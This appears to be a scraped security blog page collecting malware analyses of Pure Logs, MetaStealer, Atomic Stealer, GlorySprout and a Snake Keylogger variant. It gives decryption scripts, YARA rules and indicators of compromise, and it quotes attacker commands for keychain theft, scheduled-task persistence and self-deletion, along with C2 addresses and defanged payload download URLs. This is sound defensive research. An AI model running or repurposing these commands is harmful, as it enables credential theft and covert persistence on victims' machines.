# Decrypt the data
decrypted_data = decrypt_3des(encrypted_data_hex, key_string)
decompressed_data = decompress_gzip(decrypted_data)

# Saving the decompressed data to a file
output_file = "decrypted_data.bin"  
with open(output_file, 'wb') as file:
    file.write(decompressed_data)
print(f"Decompressed data saved as {output_file}")

Conclusion

Despite the obfuscation and layers of unpacking, Pure Logs Stealer is similar to other .NET stealers and does not possess any special functionalities. The effectiveness of its file grabber and file loader features remains to be questioned.

Detection Rules

You can access the Yara detection rule for Pure Logs Stealer here.

You can access the Sigma detection rule for Pure Logs Stealer here.

Indicators of Compromise

NameIndicators
Stealer Payload2b84f504b2b8389d28f2a8179a8369fc511391e7331f852aaf3a6a2f26a79ee4
Stealer Payload8543ea15813ea170dd0538d7cd629f451ceb7e18b07c4db1cdbce5e089b227d4
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Reverse Engineering, Spyware, vulnerabilityLeave a comment

MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Stealer’s World of Drama

Previously, I wrote a blog going through some of MetaStealer’s functionalities and did a brief comparison with Redline since they are both very similar but, at the same time, different. You might say that all stealers are the same because they have one purpose – to steal. However, each of them is somewhat different from the others, even if they borrowed the code from their predecessors.

Every stealer tries to be better than the other one despite having similar code and functionality. What is considered a good stealer? The stealer has a low detection rate and a high rate of successful infection, or what we call “отстук” in Russian. Stealers such as Redline, Metastealer, Raccoon Stealer, Lumma, RisePro, and Vidar have earned their names in the stealer market. Below is the list of top stealers’ whose logs are being sold on RussianMarket.

russianmarket.jpg

The popularity of mentioned stealers among users, mainly those developed by native Russian speakers, could be attributed to the ease of communication and support in their native language. As you might have noticed, stealers are notably prevalent among Russian-speaking communities. The ability to interact in one’s native language – whether it is to request new features, report issues, or inquire about the functionality of the stealer – significantly simplifies the process compared to the effort required for translation into English. This linguistic accessibility potentially broadens the client base, offering the stealer more opportunities to attract additional users.

The world of stealers is rife with drama, much like any other corner of the cybercriminal ecosystem. I was recently informed about an incident related to the Santa Barbara topic on XSS forums. This topic was created by one of Lumma’s former coders, coinciding with Lumma’s one-year anniversary. To put it briefly, Lumma’s founder did not adequately recognize or compensate the coder’s contributions, leading to dissatisfaction and underpayment.

xss_post.jpg

Another drama story: some of you might know how Aurora Stealer left the market before their infamous botnet release; some users deposited money for the botnet and never got it back, of course. Now, Aurora has become a meme within the stealer’s community.

In July 2023, an advertisement was posted on XSS forums for a new stealer written in Golang, known as “EasyStealer”, then the rumors started spreading among the stealer’s community that this was the work of an Aurora developer, now the stealer is nowhere to be found.

easystealer.jpg

Does all of this impact the sales of stealers? Not at all. People continue to purchase stealers as long as their functionality meets their requirements.

Google Cookie Refresher “feature” or a “0day”

So, you’ve likely heard about the ongoing Google “0day” vulnerability, which allows attackers to obtain fresh cookies, granting them “indefinite” access to Google accounts. It is a rather convenient “feature,” isn’t it? However, it is also quite dangerous because an attacker would be able to get fresh cookies to Google accounts each time the old ones expire.

cookie.jpg

As @g0njxa mentioned, the feature is abused by many stealers, including RisePro, MetaStealer, Whitesnake, StealC, Lumma, Rhadamanthys, and Meduza. Additionally, as of December 29th, Vidar Stealer has implemented this feature.

The question of how long it will take Google to respond to this issue remains unanswered. However, this situation presents even more opportunities for stealers to take advantage of the vulnerability.

The reason why I brought this up is how easily it can be exploited with just a few lines of Python code that includes the decrypted token value, account ID, and the proper request to the server if some people are curious enough to find out. Although, certain parameters need to be slightly tweaked from the server’s response to make it work. Here is my video with proof-of-concept on how it works on a high level. I have created a video demonstrating the proof-of-concept at a high level. For ethical reasons, I will not delve into the technical details of the POC.

MetaStealer Part 2: Technical Analysis

In November 2023, I released the writeup on MetaStealer. However, soon after its release, the malware developer made another update that changed the class names, string encryption algorithm, binary description, and file icon.

MetaStealer new version is approximately 368KB in size with the binary description Cavils Corp. 2010 (the previous one was METRO 2022 Dev).

The logo change:

newlogo.png

If previously, MetaStealer used “Entity” for class names; now it’s using “Schema” and “TreeObject” to store data and configurations instead of MSValue.

class_names_comp.jpg

Instead of string replacement operations, it now accesses a decrypted string from an array based on the given index. For example, below, where it uses ManagementObjectSearcher class to query system management information. The constructor of ManagementObjectSearcher takes two parameters: a WMI query path and a query string, for example “ROOT\SecurityCenter: SELECT * FROM AntivirusProduct”.

wmi_query.jpg

The new string decryption algorithm works the following way:

  • First, the base64-encoded string gets base64-decoded and XOR’ed with the hardcoded key (in our example, it is Crayfish); the XOR’ed string then gets base64-decoded again.
str_dec_1.png
  • Each XOR’ed and base64-decoded string is assigned as an AES key and IV (Keys[1] and Keys[2]).
  • The encrypted byte arrays are then reversed and decrypted using the keys and IV mentioned above
str_dec_2.png

To save us some time, we can use the dynamic approach to decrypt the strings using dnlib. The wonderful approach was detailed by @n1ghtw0lf in this blog. Also, I want to thank @cod3nym for amazing tips when it comes to dealing with .NET shenanigans!

Here are the steps to decrypt the strings:

  • We will use dnlib, a library for reading and writing .NET assemblies to load a .NET module and assembly from a given file path.
def load_net_module(file_path):
    return ModuleDefMD.Load(file_path)

def load_net_assembly(file_path):
    return Assembly.LoadFile(file_path)
# Main script
module = load_net_module(file_path)
assembly = load_net_assembly(file_path)
  • We will define the decryption signature (decryption_signature) to identify methods that are likely used for decryption. This signature includes the expected parameters and return type of the decryption methods.
decryption_signature = [
    {"Parameters": ["System.Int32"], "ReturnType": "System.String"}
]
  • We will search the loaded assembly for methods that match the defined decryption signature.
def find_decryption_methods(assembly):
    suspected_methods = []
    flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic
    for module_type in assembly.GetTypes():
        for method in module_type.GetMethods(flags):
            for sig in decryption_signature:
                if method_matches_signature(method, sig):
                    suspected_methods.append(method)
    return suspected_methods
  • Finally, we will invoke the suspected decryption methods by scanning the assembly’s methods for calls to the suspected decryption methods, extracting the parameters passed to these methods, and invoking the decryption methods with the extracted parameters.
def invoke_methods(module, suspected_methods):
    results = {}
    for method in suspected_methods:
        for module_type in module.Types:
            if not module_type.HasMethods:
                continue
            for m in module_type.Methods:
                if m.HasBody:
                    for insnIdx, insn in enumerate(m.Body.Instructions):
                        if insn.OpCode == OpCodes.Call:
                            called_method_name = str(insn.Operand)
                            if method.Name in called_method_name:
                                params = extract_parameters(m.Body.Instructions, insnIdx, method)
                                if len(params) == len(method.GetParameters()):
                                    try:
                                        result = invoke_method_safely(method, params)
                                        if result is not None:
                                            location = f"{module_type.FullName}.{m.Name}"
                                            results[location] = result
                                    except Exception as e:
                                        None
    return results
  • We will also include the logic to handle different types of parameters, such as integers and strings. It uses get_operand_value to extract values from method instructions based on their type.
def get_operand_value(insn, param_type):
    if "Int32" in param_type and insn.IsLdcI4():
        return Int32(insn.GetLdcI4Value())
    elif "String" in param_type and insn.OpCode == OpCodes.Ldstr:
        return insn.Operand
    return None

You can access the full script here.

Note: Please run the script strictly in a sandbox environment.

The output of the script (tested on the deobfuscated sample MD5: e6db93b513085fe253753cff76054a2a):

decrypted_strings.jpg

You might have noticed an interesting base64-encoded string in the output above.

Upon decoding, we receive a .NET executable qemu-ga.exe (MD5: e6db93b513085fe253753cff76054a2a).

Now, an interesting moment: MetaStealer writes that executable to the Startup after successfully receiving the configuration from the C2 server and collecting user information. The executable does not do anything but enters the indefinite loop that alternates between sleeping for 100 seconds and waiting for user input without doing anything with that input.

qemu-ga.jpg

Another addition to the new version of MetaStealer is the username and computer name check to avoid sandbox environments; if any of the usernames/computer names are found in the list, the stealer process will exit.

List of computer names:

	{
		"bee7370c-8c0c-4", "desktop-nakffmt", "win-5e07cos9alr", "b30f0242-1c6a-4", "desktop-vrsqlag", "q9iatrkprh", "xc64zb", "desktop-d019gdm", "desktop-wi8clet", "server1",
		"lisa-pc", "john-pc", "desktop-b0t93d6", "desktop-1pykp29", "desktop-1y2433r", "wileypc", "work", "6c4e733f-c2d9-4", "ralphs-pc", "desktop-wg3myjs",
		"desktop-7xc6gez", "desktop-5ov9s0o", "qarzhrdbpj", "oreleepc", "archibaldpc", "julia-pc", "d1bnjkfvlh", "compname_5076", "desktop-vkeons4", "NTT-EFF-2W11WSS"
	};

List of usernames:

	{
		"wdagutilityaccount", "abby", "peter wilson", "hmarc", "patex", "john-pc", "rdhj0cnfevzx", "keecfmwgj", "frank", "8nl0colnq5bq",
		"lisa", "john", "george", "pxmduopvyx", "8vizsm", "w0fjuovmccp5a", "lmvwjj9b", "pqonjhvwexss", "3u2v9m8", "julia",
		"heuerzl", "harry johnson", "j.seance", "a.monaldo", "tvm"
	};

Detection Rules

You can access Yara rules here.

You can access Sigma rules here.

Indicators of Compromise

NameIndicator
MetaStealere6db93b513085fe253753cff76054a2a
MetaStealera8d6e729b4911e1a0e3e9053eab2392b
MetaStealerb3cca536bf466f360b7d38bb3c9fc9bc
C25.42.65[.]34:25530

For more samples, please refer to the result of my Yara scan on UnpacMe.

unpacme_results.jpg
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

From Russia With Code: Disarming Atomic Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

Atomic Stealer is known to be the first stealer for MacOS devices, it first appeared on Russian hacking in March, 2023.

ads.JPG

For 3000$ per month, the user gets the access to the panel. The user provides Telegram Bot ID and build ID to the seller and the user receives the build.

The stealer allegedly has the following functionalities and features:

  • Login Keychain dump
  • Extract system information
  • FileGrabber (from Desktop, Documents)
  • MacOS Password retrieval
  • Convenient web panel
  • MetaMask brute-forcer
  • Crypto-checker (tool to check the information on crypto assets)
  • Telegram logs

List of browsers supported:

  • Chrome (Autofills, Passwords, Cookies, Wallets, Cards)
  • Firefox (Autofills, Cookies)
  • Brave (Cookies,Passwords,Autofills, Wallets, Cards)
  • Edge (Cookies,Passwords,Autofills, Wallets, Cards)
  • Vivaldi (Cookies,Passwords,Autofills, Wallets, Cards)
  • Yandex (Cookies,Autofills, Wallets, Cards)
  • Opera (Cookies,Autofills, Wallets, Cards)
  • OperaGX (Cookies, Autofills, Wallets, Cards)

Wallet and plugins:

  • Electrum
  • Binance
  • Exodus
  • Atomic
  • Coinomi
  • Plus another 60 plugins

Cyble identified the Go source code path containing the username iluhaboltov. That is not confirmed but might suggest that the developer’s name is Ilya Boltov.

Technical Analysis

In December 2023, Jérôme Segura published an article on the new version of Atomic Stealer circulating on the Internet. Unlike previous versions where the strings were in cleartext, in the new version of AMOS, all the strings are encrypted.

To cheat a little bit, we can look at the functionality of the previous Atomic Stealer to be able to recognize and interpret the actions for some of the decrypted strings in the newer versions.

In the previous version (MD5: bf7512021dbdce0bd111f7ef1aa615d5), AMOS implements anti-VM checks, the stealer executes the command system_profiler SPHardwareDataType. system_profiler is a command-line utility in macOS that provides detailed information about the hardware and software configuration of the Mac device. It’s the command-line equivalent of the “System Information” on Windows and MacOS machines that users can access through the GUI. SPHardwareDataType is a specific data type specifier for the system_profiler command, it instructs the utility to display information related only to the hardware of the system, such as processor name, number of processors, model name, hardware UUID, serial number, etc. If it detects VMware or Apple Virtual Machine – the program exits. If not, the collected information is passed to /Sysinfo.txt.

vm_check.JPG

The FileGrabber in the previous version grabs files with the following extensions from Desktop and Documents folder:

  • txt
  • rtf
  • xlx
  • key
  • wallet
  • jpg
  • png
  • web3
FileGrabber.JPG

The ColdWallets function grabs the cold wallets. Cold wallets often referred to as “cold storage,” is a method of storing cryptocurrencies offline.

ColdWallets.JPG

GrabChromium function is responsible for grabbing data such as AutoFill, Web Data, Login Data, Wallets, Password, Local Extension Settings data from Chromium-based browsers such as Microsoft Edge, Vivaldi, Google Chrome, Brave, Opera within ~/Library/Application Support/ path.

GrabChromium.JPG

keychain function is responsible for retrieving pbkdf2 key from the keychain location. In the screenshot below we can see the pass() being executed if the result of dscl command is not an empty string (“dscl /Local/Default -authonly “, additional parameters are passed to the command including username and an empty password), which means that it would likely fail the authentication.

keychain_fn.JPG

The pass function is responsible for prompting user to enter the password for the device by displaying a message dialog “macOS needs to access System settings %s Please enter your password.” with osascript with title “System Preferences”: Sets the title of the dialog window to System Preferences. The dialog will automatically close after 30 seconds if the user doesn’t interact with it. After retrieving a password with GetUserPassword from the dialog box, the function checks if the returned password is not an empty string and if the password is not empty, the function then calls getpass with the entered password. getpass will try to authenticate with entered password and if it returns 0, which means that the password was entered incorrectly, the user gets “You entered an invalid password” display message.

invalid_password.JPG

Once a valid password is entered, the function proceeds with writing the password to /Users/run/{generated_numeric_value}/password-entered , based on my understanding. The path with the numeric value is generated using the function below where the stealer gets the current time of the device and then seeds the current time with the random number generator.

randgen.JPG

The function then checks if the user’s keychain file (login.keychain-db) exists. If it does, it copies this keychain file to a new location specified by /Users/run/{generated_numeric_value}/login-keychain. The Login Keychain acts as the primary storage file in macOS, where it keeps a majority of the passwords, along with secure notes and various other sensitive pieces of information.”

Let’s come back to pbkdf2 key: in order to grab the key, the stealer executes the command:

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

The output is compared against the string SecKeychainSearchCopyNext. SecKeychainSearchCopyNext is a macOS API function used to find the next keychain item that matches given search criteria. If the output is not SecKeychainSearchCopyNext, the code constructs a file path under /Chromium/Chrome and then writes the extracted key into a file named Local State. The pbkdf2 key serves as an essential component for password decryption in Chrome.

Within function dotask(), after collecting data from functions (it’s worth mentioning that the data collected are appeared to be stored at /Users/run/{generated_numeric_value}):

  • GrabChromium()
  • keychain()
  • systeminfo()
  • FileGrabber()
  • GrabFirefox()
  • ColdWallets()

The stealer uses ditto, a command-line utility on macOS that’s used for copying, creating and extracting files, directories and archives, to archive the retrieved logs and sends them over to the command-and-control server. The command used to archive the files: “ditto -c -k –sequesterRsrc –keepParent”. The zip archive name is the same as the randomly generated numeric value that is present in the path mentioned above.

The example of the archived logs:

extracted_logs.JPG

The logs are then sent to the Command and Control (C2) server using a POST request to the /sendlog endpoint.

New Version of AMOS

In the new version of AMOS, the string are encrypted using series of XOR operations shown in the image below.

Let’s briefly go through it:

  • The algorithm first checks a specific condition based on the 10th byte of the array. If this byte (when treated as a binary value) has its least significant bit set to 0 (meaning it’s an even number), the decryption process proceeds.
  • The algorithm iterates through a portion of the byte array, starting from a specific position. In each iteration, it compares the current byte with the following byte and depending on how the current byte relates to the next byte, different XOR operations are applied. These operations are:
    • If the current byte is one less than the next, XOR it with the next byte plus 1.
    • If the current byte is two less than the next, XOR it with the next byte plus 2.
    • If the current byte equals the next byte, XOR it with the current index minus 4 (this value is different for each encrypted string)
    • If the current byte is four less than the next, XOR it with the next byte plus 3.
    • If the current byte is five less than the next, XOR it with the next byte plus 4.
    • After applying the XOR operation, the current byte is incremented by 1, and the algorithm moves to the next byte.
  • This whole process continues until a certain condition is met (like reaching a specific array index), signifying the end of the encrypted data.
decryption_algo.JPG

After struggling to understand why I was failing to reproduce the decryption algorithm from C to Python, @cod3nym helped me to figure out that the solution involved using ctypes.

So, using that information, I wrote the IDAPython script to decrypt the strings, so I don’t have to manually enter each of them in 😀 The script is pretty wonky, but it does the job. You can access the script here.

AMOS uses mz_zip_writer_add_mem, Miniz compression, for archiving the extracted logs.

send_me function is responsible for sending the logs in a ZIP archive over to C2 to port 80 using the hardcoded UUID 7bc8f87e-c842-47c7-8f05-10e2be357888. Instead of using /sendlog as an endpoint, the new version uses /p2p to send POST requests.

passnet function is responsible for retrieving the pbkdf2 from Chrome, the stealer calls it masterpass-chrome.

pwdget function is responsible for retrieving the password of the MacOS device via the dialog “Required Application Helper. Please enter passphrase for {username}” as shown below.

pwd_prompt2.JPG

myfox function is responsible for retrieving Firefox data such as:

  • /cookies.sqlite
  • /formhistory.sqlite
  • /key4.db
  • /logins.json

Compared to the previous version, the new version gathers not only information about hardware but also system’s software and display configurations with the command system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.

The FileGrabber functionality is shown in the image below.

FileGrabber2.JPG

FileGrabber has several functionalities:

  • It sets a destination folder path named fg in the home folder of the current user (/Users/{username}). If this folder doesn’t exist, it creates it. It then defines a list of file extensions (“txt”, “png”, “jpg”, “jpeg”, “wallet”, “keys”, “key”) to filter files for later operations. It initializes a variable “bankSize” to 0, possibly intended to keep track of the total size of files processed.
  • Next, it proceeds with retrieving the path to Safari’s cookies folder and tries to duplicate the Cookies.binarycookies file from Safari’s folder to the destination folder. This file contains Safari browser cookies.
  • For processing notes data it attempts to duplicate specific Notes database files (“NoteStore.sqlite”, “NoteStore.sqlite-shm”, “NoteStore.sqlite-wal”) to the destination folder. These files contain user’s notes.
  • For processing files on Desktop and Documents folders it retrieves all files from the Desktop and the Documents folder. For each file, it checks if the file’s extension is in the predefined list mentioned above. If the file matches the criteria and the total size (bankSize) of processed files does not exceed 10 MB, it duplicates the file to the destination folder and updates “bankSize”.

You can access the list of decrypted strings here.

Conclusion

Besides encrypted strings, the new version appears to perform additional enumeration on the infected machine and, from what I could tell, the ZIP archive is not written to the disk anymore. The latest version of AMOS is definitely designed to leave as few traces as possible on the infected machines. There is also a typo in one of the wallet addresses in the new version for some reason acmacodkjbdgmoleeebolmdjonilkdbch , which is supposed to be acmacodkjbdgmoleebolmdjonilkdbch.

I would like to extend my thanks to Edward Crowder for his assistance with MacOS questions and to @cod3nym for the help in implementing the Python decryption function.

Detection Rules

You can access Yara rules here

Indicators of Compromise

NameIndicator
AMOS Old Versionbf7512021dbdce0bd111f7ef1aa615d5
AMOS New Version57db36e87549de5cfdada568e0d86bff
AMOS New Versiondd8aa38c7f06cb1c12a4d2c0927b6107
C2185.106.93[.]154
C25.42.65[.]108
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

The GlorySprout or a Failed Clone of Taurus Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

The GlorySprout ads surfaced on the XSS forum at the beginning of March 2024 (the name makes me think of beansprout; perhaps the seller behind the stealer is a vegetarian).

XSSads.jpg

The stealer, developed in C++, is available for purchase at $300, offering lifetime access and 20 days of crypting service, which encrypts the stealer’s payload to evade detection. Similar to other stealers, it includes a pre-built loader, Anti-CIS execution, and a Grabber module (which is non-functional). While the stealer advertises AntiVM and keylogging capabilities, I have not witnessed either in action or code. Additionally, it features support for log backup and log banning, allowing for the exclusion of logs from specified countries or IPs.

What particularly captured my attention regarding this stealer was that an individual, who prefers to stay anonymous, informed me it’s a clone of Taurus Stealer and shared some interesting files with me.

Taurus Stealer Backstory

Let’s talk a little about Taurus Stealer Project. It first appeared for sale on XSS in April 2020.

taurusads.jpg

The stealer is written in C++ with a Golang panel. It was sold for $150 for lifetime (I guess the pricing was different in 2020).

One of the XSS users claims that the panel is very similar to Predator The Thief stealer. You can read a nice writeup on Predator Stealer here.

xsscomment.jpg

The Predator stealer shares many similarities with Taurus Stealer, including encryption in C2 communication, Bot ID formatting, the Anti-VM feature, and naming conventions for log files, as well as resemblances in the panel GUI. However, to refocus, Taurus Stealer terminated their project around 2021. The cracked version of Taurus Stealer is being sold on Telegram, and there’s information suggesting that Taurus Stealer sold their source code, which could explain these parallels.

Now, let’s confirm the theories…

Below is the screenshot of GlorySprout panel:

panel.jpg

And this is the Taurus Stealer panel:

tauruspanel.jpg

Can you spot the similarities and differences? 🙂

There is a great writeup on Taurus Stealer out there by Outpost24 that you can access here.

I will focus on the brief analysis of GlorySprout so we can make some conclusions later.

GlorySprout Technical Analysis

GlorySprout dynamically resolves APIs through API hashing, targeting libraries such as shell32.dll, user32.dll, ole32.dll, crypt32.dll, advapi32.dll, ktmw32.dll, and wininet.dll. This hashing process involves operations such as multiplication, addition, XOR, and shifting.

api_hashing.jpg

The reproduced Python code for API hashing:

def compute_hash(function_name):
    v9 = 0
    for char in function_name:
        v9 = ord(char) + 16 * v9
        if v9 & 0xF0000000 != 0:
            v9 = ((v9 & 0xF0000000) >> 24) ^ v9 & 0xFFFFFFF
    return v9

The stealer accesses the hashed API values via specific offsets.

accessing_api.png
api_hashing2.png

The Anti-CIS function is shown below:

antiCIS.jpg

The stealer exists if any of the language identifiers is found.

The stealer obfuscates the strings via XOR and arithmetic operations such as substitution.

str_obfuscation.png

The persistence is created via scheduled task named \WindowsDefender\Updater with ComSpec (cmd.exe) spawning the command /c schtasks /create /F /sc minute /mo 1 /tn “\WindowsDefender\Updater” /tr “. If the loader module is used, the task runs the dropped secondary payload from %TEMP% folder.

scheduled_task.jpg

If the loader module is configured, the retrieved payload name (8 characters) would be randomly generated via the function below from the predefined string aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ.

rand_gen.jpg

The function described is also used to generate the filename parameter in a Content-Disposition header for C2 communications as well as the RC4 key for the ZIP archive with collected data.

But the function to generate random string doesn’t always generate random strings and we will come back to it in the C2 communications section.

The C2 address of the stealer is retrieved from the resource section of the decrypted/unpacked payload.

get_c2.png

C2 Communication

Communication with the C2 server is performed via port 80. Upon checking in with the C2 server, the infected machine sends out the POST request “/cfg/data=” using the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.5906.121 Safari/537.36”. The BotID value is encrypted with the RC4 key generated via random key generation function that was previously mentioned and base64-encoded. The RC4 key is the first 10 bytes of the encrypted string.

c2_post_check_in.jpg

The base64-encoding set of characters is obfuscated as shown below.

base64_enc.jpg

Now, interestingly enough, the RC4 key for the initial check-in does not change depsite using the randomization, because the initial state value remains constant, which is 0xC40DF552. If we try the randomization function with Python and using the initial state value, we get the same value, which is IDaJhCHdIlfHcldJ.

The reproduced Python code for randomization function:

initial_seed = 0xC40DF552  # Initial state

src_data = bytes.fromhex("1B6C4C6D4D6E4E6F4F70507151725273537454755576567757785879597A5A7B5B7C5C7D5D7E5E7F5F80608161826283")

adjusted_src_data = bytearray(len(src_data))
for i, b in enumerate(src_data):
    adjusted_src_data[i] = b - (src_data[0] % 16)

def rand(seed):
    seed = (214013 * seed + 2531011) & 0xFFFFFFFF  
    return ((seed >> 16) & 0x7FFF), seed  

def generate_key(a2, seed):
    key = ""
    for _ in range(a2):
        rand_val, seed = rand(seed)
        key += chr(adjusted_src_data[1 + (rand_val % 23)]) 
    return key, seed

value, final_seed = generate_key(0x10, initial_seed)
value, final_seed

print(value)

After the check-in, the server responds with an encrypted configuration, where the first 10 bytes is the RC4 key.

The decrypted conguration looks like this:

[1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;0;0;1;1]#[]#[<infected_machine_IP;<infected_machine_GEO]#[[<loader_URL;;;1;1;1]]

Here is an example breakdown of the configuration (0: stands for disabled, 1: stands for enabled):

  • 1: Grab browser history
  • 1: Grab screenshot
  • 1: Grab cryptowallets recursively from %AppData% folder (Cryptowallets supported based on the analysis: Electrum, MultiBit, Armory, Ethereum, Bytecoin, Jaxx, Atomic, Exodus, DashCore, Bitcoin, WalletWasabi, Daedalus Mainnet, Monerom )
  • 1: Grab Steam sessions
  • 1: Grab BattleNet account information
  • 1: Grab Telegram session
  • 1: Grab Discord session
  • 1: Grab Skype messages
  • 1: Grab Jabber accounts from %AppData% folder
  • 1: Grab Foxmail accounts
  • 1: Grab Outlook accounts
  • 1: Grab FileZilla data
  • 1: Grab WinFTP accounts
  • 1: Grab WinSCP accounts
  • 1: Grab Authy
  • 0: Grab NordVPN
  • 0: Unknown placeholder
  • 1: Anti-VM
  • 1: Self-deletion (self-delete after sending the logs to C2): self-deletion performs with the command “C:\Windows\system32\cmd.exe” /c ping google.com && erase C:\Users\username\Desktop\payload.exe” . Pinging introduces the delay, likely to guarantee the successful full execution of the payload.
  • loader_URL – contains the link to the secondary payload
  • 1: Only with crypto – the loader payload only runs if cryptowallets are present on the machine
  • 1: Autorun – creates the persistence for a secondary payload
  • 1: Start after creating – runs the secondary payload after dropping it in %TEMP% folder

After receiving the configuration, the infected machine sends out the POST request with /log/ parameter containing the ZIP archive with collected data to C2 server as shown below:

send_zip_c2.jpg

The data is encrypted the same way, with RC4 and Base64-encoded.

The server sends 200 OK response to the machine and the machine ends the communication with the POST request containing /loader/complete/?data=1 .

Additional Information

As mentioned before, the panel of the stealer is written in Golang. The panel also utilizes SQL databases to process configuration and data. The stealer makes use of sqlx library, a popular extension for Go’s standard database/sql package designed to make it easier to work with SQL databases.

golang_p.jpg

Interesting usernames found in mysql database:

sql_db.png

It’s worth nothing that the database contains the mention of taurus. At this point, we can make a confident assessment that it’s a clone of Taurus Stealer code based on the technical analysis.

The example of the collected log:

info.jpg

General/forms.txt – contains the decrypted browser passwords. The browser passwords are decrypted on the server.

Conclusion

Based on the GlorySprout analysis, it is confidently assessed that the individual behind GlorySprout cloned the code of the Taurus Stealer project and modified it according to their specific needs and requirements. A notable difference is that GlorySprout, unlike Taurus Stealer (according to the version analyzed by Outpost24), does not download additional DLL dependencies from C2 servers. Additionally, GlorySprout lacks the Anti-VM feature that is present in Taurus Stealer. GlorySprout is likely to fade away e and fail to achieve the popularity of other stealers currently on the market.

Indicators Of Compromise

NameIndicators
GlorySprout3952a294b831e8738f70c2caea5e0559
C2147.78.103.197
C245.138.16.167
GlorySproutd295c4f639d581851aea8fbcc1ea0989

Detection

rule win_mal_GlorySprout_Stealer {
    meta:
        author = "RussianPanda"
        description = "Detects GlorySprout Stealer"
        date = "3/16/2024"
        hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
    strings:
        $s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
        $s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
        $s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18} 
    condition:
        uint16(0) == 0x5A4D and all of them and #s1 > 100
}

You can also access the Yara rule here

Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Deep Analysis of Snake Keylogger’s New Variant

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Collects sensitive information from the victim’s computer
Severity level: High

Fortinet’s FortiGuard Labs recently caught a phishing campaign in the wild with a malicious Excel document attached to the phishing email. We performed a deep analysis on the campaign and discovered that it delivers a new variant of Snake Keylogger.

Snake Keylogger (aka “404 Keylogger” or “KrakenKeylogger”) is a subscription-based keylogger with many capabilities. It is a .NET-based software originally sold on a hacker forum.

Once executed on a victim’s computer, it has the ability to steal sensitive data, including saved credentials from web browsers and other popular software, the system clipboard, and basic device information. It can also log keystrokes and capture screenshots.

In the following sections, we will look at the phishing spam, how it lures the recipient into opening a malicious Excel document, how the Excel document downloads and executes a new variant of Snake Keylogger, and what anti-analysis techniques it uses to protect itself from being detected and blocked during the attack.

Snake Keylogger Overview

The Phishing Email

Figure 1: The phishing email.

Figure 1: The phishing email.

The email content in Figure 1 attempts to deceive the recipient into opening the attached Excel file (swift copy.xls) by claiming that funds have been transferred into their account. To warn the user, the FortiGuard service marks this phishing email as “[virus detected],” as shown in the subject line.

The Malicious Excel Document

Figure 2: When the Excel file is opened in Excel program.

Figure 2: When the Excel file is opened in Excel program.

Figure 2 shows the content of the attached Excel file when opened in the Office Excel program. Meanwhile, malicious code is executed in the background to download other files.

Looking into the binary data of the Excel file, it contains a specially crafted embedded link object that exploits the CVE-2017-0199 vulnerability to download a malicious file. Figure 3 displays the embedded link object (“\x01Ole”). The link is “hxxp[:]//urlty[.]co/byPCO,” which is secretly requested by the Excel program when the file is opened.

Figure 3: Crafted embedded OLE link object.

Figure 3: Crafted embedded OLE link object.

When the link is accessed, it returns with another URL in the “Location” field of the response header, which is “hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta”.  HTA file is an HTML Application file executed by a Windows application— by default, the HTML Application host (mshta.exe).

The 107.hta file is full of obfuscated JavaScript code that is executed automatically when loaded by mshta.exe. Figure 4 shows a partial view of the JavaScript code.

Figure 4: The partial content of the downloaded file “107.hta”.

Figure 4: The partial content of the downloaded file “107.hta”.

VBScript Code & PowerShell Code

After decoding and de-obfuscating the JavaScript code, we were able to get a piece of the VBScript code, as shown in Figure 5.

Figure 5: The VBScript code decoded from Javascript code.

Figure 5: The VBScript code decoded from Javascript code.

It’s evident that the VBScript code created an object of “Script.Shell” and executed a piece of PowerShell code decoded from a base64 string, defined in the variable “ps_code”. This PowerShell code is then executed by “cmd.exe” (%ComSpec%) when the “shellObj.Run()” function is called.

The base64 decoded PowerShell code is shown below. It invokes a Windows API, URLDownloadToFile(), to download an executable file to the victim’s computer and run it after waiting three seconds.

snake keylogger base64 decoded

The URL of the executable file is hardcoded as “hxxp[:]//192.3.176[.]138/107/sahost.exe” and the local file is “%Appdata%\sahost.exe”. The PowerShell code finally starts the executable file by calling Start “$Env:AppData\sahost.exe”.

Dive into the Loader-Module

My research shows that the downloaded EXE file (sahost.exe) contains a new variant of Snake Keylogger, which is extracted, decrypted, loaded, and run by the EXE file. I will refer to this downloaded EXE file as the Loader module.

Figure 6 is a screenshot of its analysis in a packer detection tool. It was developed using the Microsoft .Net Framework.

Figure 6: Properties of the downloaded EXE.

Figure 6: Properties of the downloaded EXE.

To protect the Snake Keylogger core module from being detected and blocked by cybersecurity products, sahost.exe uses multiple-layer protection techniques, like transformation and encryption, within several named resources. When sahost.exe starts, it extracts several modules (dlls) onto its memory from the Resource section that provide methods to inquire, extract, decrypt, install, and deploy the core module.

